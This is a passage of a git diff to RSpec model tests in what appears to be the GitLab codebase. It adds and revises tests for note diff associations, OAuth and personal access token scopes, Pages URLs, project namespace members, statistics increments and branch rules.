+ subject { note.noteable.notes.inc_relations_for_view(noteable) }
+
+ context 'when noteable can not have diffs' do
+ let_it_be(:note) { create(:note_on_issue) }
+ let(:noteable) { note.noteable }
+
+ it 'does not include additional associations' do
+ expect { subject.reload }.to match_query_count(0).for_model(NoteDiffFile).and(
+ match_query_count(0).for_model(DiffNotePosition))
+ end
+
+ context 'when noteable is not set' do
+ let(:noteable) { nil }
+
+ it 'includes additional diff associations' do
+ expect { subject.reload }.to match_query_count(1).for_model(NoteDiffFile).and(
+ match_query_count(1).for_model(DiffNotePosition))
+ end
+ end
+
+ context 'when skip_notes_diff_include flag is disabled' do
+ before do
+ stub_feature_flags(skip_notes_diff_include: false)
+ end
+
+ it 'includes additional diff associations' do
+ expect { subject.reload }.to match_query_count(1).for_model(NoteDiffFile).and(
+ match_query_count(1).for_model(DiffNotePosition))
+ end
+ end
+ end
+
+ context 'when noteable can have diffs' do
+ let_it_be(:note) { create(:note_on_commit) }
+ let(:noteable) { note.noteable }
+
+ it 'includes additional diff associations' do
+ expect { subject.reload }.to match_query_count(1).for_model(NoteDiffFile).and(
+ match_query_count(1).for_model(DiffNotePosition))
+ end
+ end
+ end
end
describe 'banzai_render_context' do
diff --git a/spec/models/oauth_access_token_spec.rb b/spec/models/oauth_access_token_spec.rb
index 92e1ae8ac60..fc53d926dd6 100644
--- a/spec/models/oauth_access_token_spec.rb
+++ b/spec/models/oauth_access_token_spec.rb
@@ -53,4 +53,22 @@ RSpec.describe OauthAccessToken do
expect(described_class.matching_token_for(app_one, token.resource_owner, token.scopes)).to be_nil
end
end
+
+ describe '#expires_in' do
+ context 'when token has expires_in value set' do
+ it 'uses the expires_in value' do
+ token = OauthAccessToken.new(expires_in: 1.minute)
+
+ expect(token.expires_in).to eq 1.minute
+ end
+ end
+
+ context 'when token has nil expires_in' do
+ it 'uses default value' do
+ token = OauthAccessToken.new(expires_in: nil)
+
+ expect(token.expires_in).to eq 2.hours
+ end
+ end
+ end
end
diff --git a/spec/models/packages/package_file_spec.rb b/spec/models/packages/package_file_spec.rb
index a244ed34e54..9b341034aaa 100644
--- a/spec/models/packages/package_file_spec.rb
+++ b/spec/models/packages/package_file_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Packages::PackageFile, type: :model do
let_it_be(:package_file1) { create(:package_file, :xml, file_name: 'FooBar') }
let_it_be(:package_file2) { create(:package_file, :xml, file_name: 'ThisIsATest') }
let_it_be(:package_file3) { create(:package_file, :xml, file_name: 'formatted.zip') }
+ let_it_be(:package_file4) { create(:package_file, :nuget) }
let_it_be(:debian_package) { create(:debian_package, project: project) }
it_behaves_like 'having unique enum values'
@@ -98,6 +99,12 @@ RSpec.describe Packages::PackageFile, type: :model do
it { is_expected.to contain_exactly(package_file3) }
end
+
+ describe '.with_nuget_format' do
+ subject { described_class.with_nuget_format }
+
+ it { is_expected.to contain_exactly(package_file4) }
+ end
end
context 'updating project statistics' do
diff --git a/spec/models/packages/package_spec.rb b/spec/models/packages/package_spec.rb
index d6f71f2401c..a8bcda1242f 100644
--- a/spec/models/packages/package_spec.rb
+++ b/spec/models/packages/package_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe Packages::Package, type: :model do
+RSpec.describe Packages::Package, type: :model, feature_category: :package_registry do
include SortingHelper
using RSpec::Parameterized::TableSyntax
@@ -14,6 +14,7 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.to have_many(:dependency_links).inverse_of(:package) }
it { is_expected.to have_many(:tags).inverse_of(:package) }
it { is_expected.to have_many(:build_infos).inverse_of(:package) }
+ it { is_expected.to have_many(:installable_nuget_package_files).inverse_of(:package) }
it { is_expected.to have_one(:conan_metadatum).inverse_of(:package) }
it { is_expected.to have_one(:maven_metadatum).inverse_of(:package) }
it { is_expected.to have_one(:debian_publication).inverse_of(:package).class_name('Packages::Debian::Publication') }
@@ -713,7 +714,7 @@ RSpec.describe Packages::Package, type: :model do
subject(:destroy!) { package.destroy! }
it 'updates the project statistics' do
- expect(project_statistics).to receive(:increment_counter).with(:packages_size, -package_file.size)
+ expect(project_statistics).to receive(:increment_counter).with(:packages_size, have_attributes(amount: -package_file.size))
destroy!
end
diff --git a/spec/models/pages/lookup_path_spec.rb b/spec/models/pages/lookup_path_spec.rb
index 6f684eceaec..ef79ba28d5d 100644
--- a/spec/models/pages/lookup_path_spec.rb
+++ b/spec/models/pages/lookup_path_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Pages::LookupPath do
+RSpec.describe Pages::LookupPath, feature_category: :pages do
let(:project) { create(:project, :pages_private, pages_https_only: true) }
subject(:lookup_path) { described_class.new(project) }
@@ -126,14 +126,18 @@ RSpec.describe Pages::LookupPath do
describe '#prefix' do
it 'returns "/" for pages group root projects' do
- project = instance_double(Project, pages_group_root?: true)
+ project = instance_double(Project, pages_namespace_url: "namespace.test", pages_url: "namespace.test")
lookup_path = described_class.new(project, trim_prefix: 'mygroup')
expect(lookup_path.prefix).to eq('/')
end
it 'returns the project full path with the provided prefix removed' do
- project = instance_double(Project, pages_group_root?: false, full_path: 'mygroup/myproject')
+ project = instance_double(
+ Project,
+ pages_namespace_url: "namespace.test",
+ pages_url: "namespace.other",
+ full_path: 'mygroup/myproject')
lookup_path = described_class.new(project, trim_prefix: 'mygroup')
expect(lookup_path.prefix).to eq('/myproject/')
diff --git a/spec/models/pages_domain_spec.rb b/spec/models/pages_domain_spec.rb
index e5f2e849a0a..f054fde78e7 100644
--- a/spec/models/pages_domain_spec.rb
+++ b/spec/models/pages_domain_spec.rb
@@ -567,7 +567,7 @@ RSpec.describe PagesDomain do
it 'returns the virual domain when there are pages deployed for the project' do
expect(virtual_domain).to be_an_instance_of(Pages::VirtualDomain)
expect(virtual_domain.lookup_paths).not_to be_empty
- expect(virtual_domain.cache_key).to match(/pages_domain_for_project_#{project.id}_/)
+ expect(virtual_domain.cache_key).to match(/pages_domain_for_domain_#{pages_domain.id}_/)
end
context 'when :cache_pages_domain_api is disabled' do
diff --git a/spec/models/personal_access_token_spec.rb b/spec/models/personal_access_token_spec.rb
index 9d4c53f8d55..f65b5ff824b 100644
--- a/spec/models/personal_access_token_spec.rb
+++ b/spec/models/personal_access_token_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe PersonalAccessToken do
+RSpec.describe PersonalAccessToken, feature_category: :authentication_and_authorization do
subject { described_class }
describe '.build' do
@@ -210,6 +210,12 @@ RSpec.describe PersonalAccessToken do
expect(personal_access_token).to be_valid
end
+ it "allows creating a token with `admin_mode` scope" do
+ personal_access_token.scopes = [:api, :admin_mode]
+
+ expect(personal_access_token).to be_valid
+ end
+
context 'when registry is disabled' do
before do
stub_container_registry_config(enabled: false)
@@ -340,4 +346,27 @@ RSpec.describe PersonalAccessToken do
end
end
end
+
+ # During the implementation of Admin Mode for API, tokens of
+ # administrators should automatically get the `admin_mode` scope as well
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/42692
+ describe '`admin_mode scope' do
+ subject { create(:personal_access_token, user: user, scopes: ['api']) }
+
+ context 'with administrator user' do
+ let_it_be(:user) { create(:user, :admin) }
+
+ it 'adds `admin_mode` scope before created' do
+ expect(subject.scopes).to contain_exactly('api', 'admin_mode')
+ end
+ end
+
+ context 'with normal user' do
+ let_it_be(:user) { create(:user) }
+
+ it 'does not add `admin_mode` scope before created' do
+ expect(subject.scopes).to contain_exactly('api')
+ end
+ end
+ end
end
diff --git a/spec/models/plan_limits_spec.rb b/spec/models/plan_limits_spec.rb
index d4e550657c8..3705cab7ef5 100644
--- a/spec/models/plan_limits_spec.rb
+++ b/spec/models/plan_limits_spec.rb
@@ -219,14 +219,21 @@ RSpec.describe PlanLimits do
ci_daily_pipeline_schedule_triggers
repository_size
security_policy_scan_execution_schedules
+ enforcement_limit
+ notification_limit
] + disabled_max_artifact_size_columns
end
+ let(:datetime_columns) do
+ %w[dashboard_limit_enabled_at]
+ end
+
it "has positive values for enabled limits" do
attributes = plan_limits.attributes
attributes = attributes.except(described_class.primary_key)
attributes = attributes.except(described_class.reflections.values.map(&:foreign_key))
attributes = attributes.except(*columns_with_zero)
+ attributes = attributes.except(*datetime_columns)
expect(attributes).to all(include(be_positive))
end
diff --git a/spec/models/project_import_state_spec.rb b/spec/models/project_import_state_spec.rb
index ba1a29a8b27..e5232026c39 100644
--- a/spec/models/project_import_state_spec.rb
+++ b/spec/models/project_import_state_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ProjectImportState, type: :model do
+RSpec.describe ProjectImportState, type: :model, feature_category: :importers do
let_it_be(:correlation_id) { 'cid' }
let_it_be(:import_state, refind: true) { create(:import_state, correlation_id_value: correlation_id) }
@@ -17,22 +17,19 @@ RSpec.describe ProjectImportState, type: :model do
end
describe 'Project import job' do
- let_it_be(:import_state) { create(:import_state, import_url: generate(:url)) }
- let_it_be(:project) { import_state.project }
+ let_it_be(:project) { create(:project) }
- before do
- allow_any_instance_of(Gitlab::GitalyClient::RepositoryService).to receive(:import_repository)
- .with(project.import_url, http_authorization_header: '', mirror: false, resolved_address: '').and_return(true)
+ let(:import_state) { create(:import_state, import_url: generate(:url), project: project) }
+ let(:jid) { '551d3ceac5f67a116719ce41' }
+ before do
# Works around https://github.com/rspec/rspec-mocks/issues/910
allow(Project).to receive(:find).with(project.id).and_return(project)
- expect(project).to receive(:after_import).and_call_original
+ allow(project).to receive(:add_import_job).and_return(jid)
end
it 'imports a project', :sidekiq_might_not_need_inline do
- expect(RepositoryImportWorker).to receive(:perform_async).and_call_original
-
- expect { import_state.schedule }.to change { import_state.status }.from('none').to('finished')
+ expect { import_state.schedule }.to change { import_state.status }.from('none').to('scheduled')
end
it 'records job and correlation IDs', :sidekiq_might_not_need_inline do
@@ -40,7 +37,8 @@ RSpec.describe ProjectImportState, type: :model do
import_state.schedule
- expect(import_state.jid).to be_an_instance_of(String)
+ expect(project).to have_received(:add_import_job)
+ expect(import_state.jid).to eq(jid)
expect(import_state.correlation_id).to eq(correlation_id)
end
end
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index f33001b9c5b..4ed85844a53 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Project, factory_default: :keep do
+RSpec.describe Project, factory_default: :keep, feature_category: :projects do
include ProjectForksHelper
include ExternalAuthorizationServiceHelpers
include ReloadHelpers
@@ -28,8 +28,10 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_many(:incident_management_issuable_escalation_statuses).through(:issues).inverse_of(:project).class_name('IncidentManagement::IssuableEscalationStatus') }
it { is_expected.to have_many(:milestones) }
it { is_expected.to have_many(:project_members).dependent(:delete_all) }
+ it { is_expected.to have_many(:namespace_members) }
it { is_expected.to have_many(:users).through(:project_members) }
it { is_expected.to have_many(:requesters).dependent(:delete_all) }
+ it { is_expected.to have_many(:namespace_requesters) }
it { is_expected.to have_many(:notes).dependent(:destroy) }
it { is_expected.to have_many(:snippets).class_name('ProjectSnippet') }
it { is_expected.to have_many(:deploy_keys_projects) }
@@ -47,6 +49,7 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_one(:webex_teams_integration) }
it { is_expected.to have_one(:packagist_integration) }
it { is_expected.to have_one(:pushover_integration) }
+ it { is_expected.to have_one(:apple_app_store_integration) }
it { is_expected.to have_one(:asana_integration) }
it { is_expected.to have_many(:boards) }
it { is_expected.to have_one(:campfire_integration) }
@@ -163,6 +166,7 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_many(:wiki_page_hooks_integrations).class_name('Integration') }
it { is_expected.to have_many(:deployment_hooks_integrations).class_name('Integration') }
it { is_expected.to have_many(:alert_hooks_integrations).class_name('Integration') }
+ it { is_expected.to have_many(:incident_hooks_integrations).class_name('Integration') }
# GitLab Pages
it { is_expected.to have_many(:pages_domains) }
@@ -346,6 +350,108 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ shared_examples 'query without source filters' do
+ it do
+ expect(subject.where_values_hash.keys).not_to include('source_id', 'source_type')
+ end
+ end
+
+ describe '#namespace_members' do
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:requester) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+
+ before_all do
+ project.request_access(requester)
+ project.add_developer(developer)
+ end
+
+ it 'includes the correct users' do
+ expect(project.namespace_members).to include Member.find_by(user: developer)
+ expect(project.namespace_members).not_to include Member.find_by(user: requester)
+ end
+
+ it 'is equivalent to #project_members' do
+ expect(project.namespace_members).to match_array(project.project_members)
+ end
+
+ it_behaves_like 'query without source filters' do
+ subject { project.namespace_members }
+ end
+ end
+
+ describe '#namespace_requesters' do
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:requester) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+
+ before_all do
+ project.request_access(requester)
+ project.add_developer(developer)
+ end
+
+ it 'includes the correct users' do
+ expect(project.namespace_requesters).to include Member.find_by(user: requester)
+ expect(project.namespace_requesters).not_to include Member.find_by(user: developer)
+ end
+
+ it 'is equivalent to #project_members' do
+ expect(project.namespace_requesters).to eq project.requesters
+ end
+
+ it_behaves_like 'query without source filters' do
+ subject { project.namespace_requesters }
+ end
+ end
+
+ shared_examples 'polymorphic membership relationship' do
+ it do
+ expect(membership.attributes).to include(
+ 'source_type' => 'Project',
+ 'source_id' => project.id
+ )
+ end
+ end
+
+ shared_examples 'member_namespace membership relationship' do
+ it do
+ expect(membership.attributes).to include(
+ 'member_namespace_id' => project.project_namespace_id
+ )
+ end
+ end
+
+ describe '#namespace_members setters' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:membership) { project.namespace_members.create!(user: user, access_level: Gitlab::Access::DEVELOPER) }
+
+ it { expect(membership).to be_instance_of(ProjectMember) }
+ it { expect(membership.user).to eq user }
+ it { expect(membership.project).to eq project }
+ it { expect(membership.requested_at).to be_nil }
+
+ it_behaves_like 'polymorphic membership relationship'
+ it_behaves_like 'member_namespace membership relationship'
+ end
+
+ describe '#namespace_requesters setters' do
+ let_it_be(:requested_at) { Time.current }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:membership) do
+ project.namespace_requesters.create!(user: user, requested_at: requested_at, access_level: Gitlab::Access::DEVELOPER)
+ end
+
+ it { expect(membership).to be_instance_of(ProjectMember) }
+ it { expect(membership.user).to eq user }
+ it { expect(membership.project).to eq project }
+ it { expect(membership.requested_at).to eq requested_at }
+
+ it_behaves_like 'polymorphic membership relationship'
+ it_behaves_like 'member_namespace membership relationship'
+ end
+
describe '#members & #requesters' do
let_it_be(:project) { create(:project, :public) }
let_it_be(:requester) { create(:user) }
@@ -2490,16 +2596,28 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#pages_url' do
+ describe '#pages_url', feature_category: :pages do
let(:group) { create(:group, name: group_name) }
- let(:project) { create(:project, namespace: group, name: project_name) }
+
+ let(:project_path) { project_name.downcase }
+ let(:project) do
+ create(
+ :project,
+ namespace: group,
+ name: project_name,
+ path: project_path)
+ end
+
let(:domain) { 'Example.com' }
+ let(:port) { nil }
subject { project.pages_url }
before do
allow(Settings.pages).to receive(:host).and_return(domain)
- allow(Gitlab.config.pages).to receive(:url).and_return('http://example.com')
+ allow(Gitlab.config.pages)
+ .to receive(:url)
+ .and_return(['http://example.com', port].compact.join(':'))
end
context 'group page' do
@@ -2509,9 +2627,7 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to eq("http://group.example.com") }
context 'mixed case path' do
- before do
- project.update!(path: 'Group.example.com')
- end
+ let(:project_path) { 'Group.example.com' }
it { is_expected.to eq("http://group.example.com") }
end
@@ -2524,22 +2640,88 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to eq("http://group.example.com/project") }
context 'mixed case path' do
+ let(:project_path) { 'Project' }
+
+ it { is_expected.to eq("http://group.example.com/Project") }
+ end
+ end
+
+ context 'when there is an explicit port' do
+ let(:port) { 3000 }
+
+ context 'when not in dev mode' do
before do
- project.update!(path: 'Project')
+ stub_rails_env('production')
end
- it { is_expected.to eq("http://group.example.com/Project") }
+ context 'group page' do
+ let(:group_name) { 'Group' }
+ let(:project_name) { 'group.example.com' }
+
+ it { is_expected.to eq('http://group.example.com:3000/group.example.com') }
+
+ context 'mixed case path' do
+ let(:project_path) { 'Group.example.com' }
+
+ it { is_expected.to eq('http://group.example.com:3000/Group.example.com') }
+ end
+ end
+
+ context 'project page' do
+ let(:group_name) { 'Group' }
+ let(:project_name) { 'Project' }
+
+ it { is_expected.to eq("http://group.example.com:3000/project") }
+
+ context 'mixed case path' do
+ let(:project_path) { 'Project' }
+
+ it { is_expected.to eq("http://group.example.com:3000/Project") }
+ end
+ end
+ end
+
+ context 'when in dev mode' do
+ before do
+ stub_rails_env('development')
+ end
+
+ context 'group page' do
+ let(:group_name) { 'Group' }
+ let(:project_name) { 'group.example.com' }
+
+ it { is_expected.to eq('http://group.example.com:3000') }
+
+ context 'mixed case path' do
+ let(:project_path) { 'Group.example.com' }
+
+ it { is_expected.to eq('http://group.example.com:3000') }
+ end
+ end
+
+ context 'project page' do
+ let(:group_name) { 'Group' }
+ let(:project_name) { 'Project' }
+
+ it { is_expected.to eq("http://group.example.com:3000/project") }
+
+ context 'mixed case path' do
+ let(:project_path) { 'Project' }
+
+ it { is_expected.to eq("http://group.example.com:3000/Project") }
+ end
+ end
end
end
end
- describe '#pages_group_url' do
+ describe '#pages_namespace_url', feature_category: :pages do
let(:group) { create(:group, name: group_name) }
let(:project) { create(:project, namespace: group, name: project_name) }
let(:domain) { 'Example.com' }
let(:port) { 1234 }
- subject { project.pages_group_url }
+ subject { project.pages_namespace_url }
before do
allow(Settings.pages).to receive(:host).and_return(domain)
@@ -5808,22 +5990,6 @@ RSpec.describe Project, factory_default: :keep do
expect(recorder.count).to be_zero
end
-
- context 'with cache_project_integrations disabled' do
- before do
- stub_feature_flags(cache_project_integrations: false)
- end
-
- it 'triggers extra queries when called multiple times' do
- integration.project.execute_integrations({}, :push_hooks)
-
- recorder = ActiveRecord::QueryRecorder.new do
- integration.project.execute_integrations({}, :push_hooks)
- end
-
- expect(recorder.count).not_to be_zero
- end
- end
end
describe '#has_active_hooks?' do
@@ -6653,8 +6819,8 @@ RSpec.describe Project, factory_default: :keep do
where(:shared_runners_setting, :project_shared_runners_enabled, :valid_record) do
:shared_runners_enabled | true | true
:shared_runners_enabled | false | true
- :disabled_with_override | true | true
- :disabled_with_override | false | true
+ :disabled_and_overridable | true | true
+ :disabled_and_overridable | false | true
:disabled_and_unoverridable | true | false
:disabled_and_unoverridable | false | true
end
@@ -6902,21 +7068,6 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#pages_group_root?' do
- it 'returns returns true if pages_url is same as pages_group_url' do
- project = build(:project)
- expect(project).to receive(:pages_url).and_return(project.pages_group_url)
-
- expect(project.pages_group_root?).to eq(true)
- end
-
- it 'returns returns false if pages_url is different than pages_group_url' do
- project = build(:project)
-
- expect(project.pages_group_root?).to eq(false)
- end
- end
-
describe '#closest_setting' do
shared_examples_for 'fetching closest setting' do
let!(:namespace) { create(:namespace) }
@@ -7038,8 +7189,8 @@ RSpec.describe Project, factory_default: :keep do
create_list(:chat_name, 5, integration: integration)
end
- it 'removes chat names on removal' do
- expect { subject.destroy! }.to change { ChatName.count }.by(-5)
+ it 'does not remove chat names on removal' do
+ expect { subject.destroy! }.not_to change { ChatName.count }
end
end
@@ -7612,32 +7763,6 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#increment_statistic_value' do
- let(:project) { build_stubbed(:project) }
-
- subject(:increment) do
- project.increment_statistic_value(:build_artifacts_size, -10)
- end
-
- it 'increments the value' do
- expect(ProjectStatistics)
- .to receive(:increment_statistic)
- .with(project, :build_artifacts_size, -10)
-
- increment
- end
-
- context 'when the project is scheduled for removal' do
- let(:project) { build_stubbed(:project, pending_delete: true) }
-
- it 'does not increment the value' do
- expect(ProjectStatistics).not_to receive(:increment_statistic)
-
- increment
- end
- end
- end
-
describe 'topics' do
let_it_be(:project) { create(:project, name: 'topic-project', topic_list: 'topic1, topic2, topic3') }
diff --git a/spec/models/project_statistics_spec.rb b/spec/models/project_statistics_spec.rb
index a6e2bcf1525..ef53de6ad82 100644
--- a/spec/models/project_statistics_spec.rb
+++ b/spec/models/project_statistics_spec.rb
@@ -455,35 +455,50 @@ RSpec.describe ProjectStatistics do
end
describe '.increment_statistic' do
- shared_examples 'a statistic that increases storage_size' do
+ shared_examples 'a statistic that increases storage_size synchronously' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 13) }
+
it 'increases the statistic by that amount' do
- expect { described_class.increment_statistic(project, stat, 13) }
+ expect { described_class.increment_statistic(project, stat, increment) }
.to change { statistics.reload.send(stat) || 0 }
- .by(13)
+ .by(increment.amount)
end
it 'increases also storage size by that amount' do
- expect { described_class.increment_statistic(project, stat, 20) }
+ expect { described_class.increment_statistic(project, stat, increment) }
.to change { statistics.reload.storage_size }
- .by(20)
+ .by(increment.amount)
end
it 'schedules a namespace aggregation worker' do
expect(Namespaces::ScheduleAggregationWorker).to receive(:perform_async)
.with(statistics.project.namespace.id)
- described_class.increment_statistic(project, stat, 20)
+ described_class.increment_statistic(project, stat, increment)
+ end
+
+ context 'when the project is pending delete' do
+ before do
+ project.update_attribute(:pending_delete, true)
+ end
+
+ it 'does not change the statistics' do
+ expect { described_class.increment_statistic(project, stat, increment) }
+ .not_to change { statistics.reload.send(stat) }
+ end
end
end
shared_examples 'a statistic that increases storage_size asynchronously' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 13) }
+
it 'stores the increment temporarily in Redis', :clean_gitlab_redis_shared_state do
- described_class.increment_statistic(project, stat, 13)
+ described_class.increment_statistic(project, stat, increment)
Gitlab::Redis::SharedState.with do |redis|
key = statistics.counter(stat).key
- increment = redis.get(key)
- expect(increment.to_i).to eq(13)
+ value = redis.get(key)
+ expect(value.to_i).to eq(increment.amount)
end
end
@@ -493,9 +508,20 @@ RSpec.describe ProjectStatistics do
.with(Gitlab::Counters::BufferedCounter::WORKER_DELAY, described_class.name, statistics.id, stat)
.and_call_original
- expect { described_class.increment_statistic(project, stat, 20) }
- .to change { statistics.reload.send(stat) }.by(20)
- .and change { statistics.reload.send(:storage_size) }.by(20)
+ expect { described_class.increment_statistic(project, stat, increment) }
+ .to change { statistics.reload.send(stat) }.by(increment.amount)
+ .and change { statistics.reload.send(:storage_size) }.by(increment.amount)
+ end
+
+ context 'when the project is pending delete' do
+ before do
+ project.update_attribute(:pending_delete, true)
+ end
+
+ it 'does not change the statistics' do
+ expect { described_class.increment_statistic(project, stat, increment) }
+ .not_to change { [statistics.reload.send(stat), statistics.reload.send(:storage_size)] }
+ end
end
end
@@ -508,7 +534,7 @@ RSpec.describe ProjectStatistics do
context 'when adjusting :pipeline_artifacts_size' do
let(:stat) { :pipeline_artifacts_size }
- it_behaves_like 'a statistic that increases storage_size'
+ it_behaves_like 'a statistic that increases storage_size synchronously'
end
context 'when adjusting :packages_size' do
@@ -518,9 +544,11 @@ RSpec.describe ProjectStatistics do
end
context 'when the amount is 0' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 0) }
+
it 'does not execute a query' do
project
- expect { described_class.increment_statistic(project, :build_artifacts_size, 0) }
+ expect { described_class.increment_statistic(project, :build_artifacts_size, increment) }
.not_to exceed_query_limit(0)
end
end
@@ -532,4 +560,116 @@ RSpec.describe ProjectStatistics do
end
end
end
+
+ describe '.bulk_increment_statistic' do
+ let(:increments) { [10, 3].map { |amount| Gitlab::Counters::Increment.new(amount: amount) } }
+ let(:total_amount) { increments.sum(&:amount) }
+
+ shared_examples 'a statistic that increases storage_size synchronously' do
+ it 'increases the statistic by that amount' do
+ expect { described_class.bulk_increment_statistic(project, stat, increments) }
+ .to change { statistics.reload.send(stat) || 0 }
+ .by(total_amount)
+ end
+
+ it 'increases also storage size by that amount' do
+ expect { described_class.bulk_increment_statistic(project, stat, increments) }
+ .to change { statistics.reload.storage_size }
+ .by(total_amount)
+ end
+
+ it 'schedules a namespace aggregation worker' do
+ expect(Namespaces::ScheduleAggregationWorker).to receive(:perform_async)
+ .with(statistics.project.namespace.id)
+
+ described_class.bulk_increment_statistic(project, stat, increments)
+ end
+
+ context 'when the project is pending delete' do
+ before do
+ project.update_attribute(:pending_delete, true)
+ end
+
+ it 'does not change the statistics' do
+ expect { described_class.bulk_increment_statistic(project, stat, increments) }
+ .not_to change { statistics.reload.send(stat) }
+ end
+ end
+ end
+
+ shared_examples 'a statistic that increases storage_size asynchronously' do
+ it 'stores the increment temporarily in Redis', :clean_gitlab_redis_shared_state do
+ described_class.bulk_increment_statistic(project, stat, increments)
+
+ Gitlab::Redis::SharedState.with do |redis|
+ key = statistics.counter(stat).key
+ increment = redis.get(key)
+ expect(increment.to_i).to eq(total_amount)
+ end
+ end
+
+ it 'schedules a worker to update the statistic and storage_size async', :sidekiq_inline do
+ expect(FlushCounterIncrementsWorker)
+ .to receive(:perform_in)
+ .with(Gitlab::Counters::BufferedCounter::WORKER_DELAY, described_class.name, statistics.id, stat)
+ .and_call_original
+
+ expect { described_class.bulk_increment_statistic(project, stat, increments) }
+ .to change { statistics.reload.send(stat) }.by(total_amount)
+ .and change { statistics.reload.send(:storage_size) }.by(total_amount)
+ end
+
+ context 'when the project is pending delete' do
+ before do
+ project.update_attribute(:pending_delete, true)
+ end
+
+ it 'does not change the statistics' do
+ expect { described_class.bulk_increment_statistic(project, stat, increments) }
+ .not_to change { [statistics.reload.send(stat), statistics.reload.send(:storage_size)] }
+ end
+ end
+ end
+
+ context 'when adjusting :build_artifacts_size' do
+ let(:stat) { :build_artifacts_size }
+
+ it_behaves_like 'a statistic that increases storage_size asynchronously'
+
+ context 'when :project_statistics_bulk_increment flag is disabled' do
+ before do
+ stub_feature_flags(project_statistics_bulk_increment: false)
+ end
+
+ it 'calls increment_statistic on once with the sum of the increments' do
+ total_amount = increments.sum(&:amount)
+ expect(statistics)
+ .to receive(:increment_statistic).with(stat, have_attributes(amount: total_amount)).and_call_original
+
+ described_class.bulk_increment_statistic(project, stat, increments)
+ end
+
+ it_behaves_like 'a statistic that increases storage_size asynchronously'
+ end
+ end
+
+ context 'when adjusting :pipeline_artifacts_size' do
+ let(:stat) { :pipeline_artifacts_size }
+
+ it_behaves_like 'a statistic that increases storage_size synchronously'
+ end
+
+ context 'when adjusting :packages_size' do
+ let(:stat) { :packages_size }
+
+ it_behaves_like 'a statistic that increases storage_size asynchronously'
+ end
+
+ context 'when using an invalid column' do
+ it 'raises an error' do
+ expect { described_class.bulk_increment_statistic(project, :id, increments) }
+ .to raise_error(ArgumentError, "Cannot increment attribute: id")
+ end
+ end
+ end
end
diff --git a/spec/models/projects/branch_rule_spec.rb b/spec/models/projects/branch_rule_spec.rb
new file mode 100644
index 00000000000..6910fbbb6db
--- /dev/null
+++ b/spec/models/projects/branch_rule_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::BranchRule, feature_category: :source_code_management do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:protected_branch) { create(:protected_branch, project: project, name: 'feature*') }
+
+ subject { described_class.new(protected_branch.project, protected_branch) }
+
+ it 'delegates methods to protected branch' do
+ expect(subject).to delegate_method(:name).to(:protected_branch)
+ expect(subject).to delegate_method(:group).to(:protected_branch)
+ expect(subject).to delegate_method(:default_branch?).to(:protected_branch)
+ expect(subject).to delegate_method(:created_at).to(:protected_branch)
+ expect(subject).to delegate_method(:updated_at).to(:protected_branch)
+ end
+
+ it 'is protected' do
+ expect(subject.protected?).to eq(true)
+ end
+
+ it 'branch protection returns protected branch' do
+ expect(subject.branch_protection).to eq(protected_branch)
+ end
+
+ describe '#matching_branches_count' do
+ it 'returns the number of branches that are matching the protected branch name' do
+ expect(subject.matching_branches_count).to eq(2)
+ end
+ end
+end
diff --git a/spec/models/projects/build_artifacts_size_refresh_spec.rb b/spec/models/projects/build_artifacts_size_refresh_spec.rb
index caff06262d9..7255c8ac89b 100644
--- a/spec/models/projects/build_artifacts_size_refresh_spec.rb
+++ b/spec/models/projects/build_artifacts_size_refresh_spec.rb
@@ -14,10 +14,11 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
end
describe 'scopes' do
- let_it_be(:refresh_1) { create(:project_build_artifacts_size_refresh, :running, updated_at: (described_class::STALE_WINDOW + 1.second).ago) }
+ let_it_be(:refresh_1) { create(:project_build_artifacts_size_refresh, :stale) }
let_it_be(:refresh_2) { create(:project_build_artifacts_size_refresh, :running, updated_at: 1.hour.ago) }
let_it_be(:refresh_3) { create(:project_build_artifacts_size_refresh, :pending) }
let_it_be(:refresh_4) { create(:project_build_artifacts_size_refresh, :created) }
+ let_it_be(:refresh_5) { create(:project_build_artifacts_size_refresh, :finalizing) }
describe 'stale' do
it 'returns records in running state and has not been updated for more than 2 hours' do
@@ -26,15 +27,23 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
end
describe 'remaining' do
- it 'returns stale, created, and pending records' do
+ it 'returns stale, created and pending records' do
expect(described_class.remaining).to match_array([refresh_1, refresh_3, refresh_4])
end
+
+ it 'does not include finalizing' do
+ expect(described_class.processing_queue).not_to include(refresh_5)
+ end
end
describe 'processing_queue' do
it 'prioritizes pending -> stale -> created' do
expect(described_class.processing_queue).to eq([refresh_3, refresh_1, refresh_4])
end
+
+ it 'does not include finalizing' do
+ expect(described_class.processing_queue).not_to include(refresh_5)
+ end
end
end
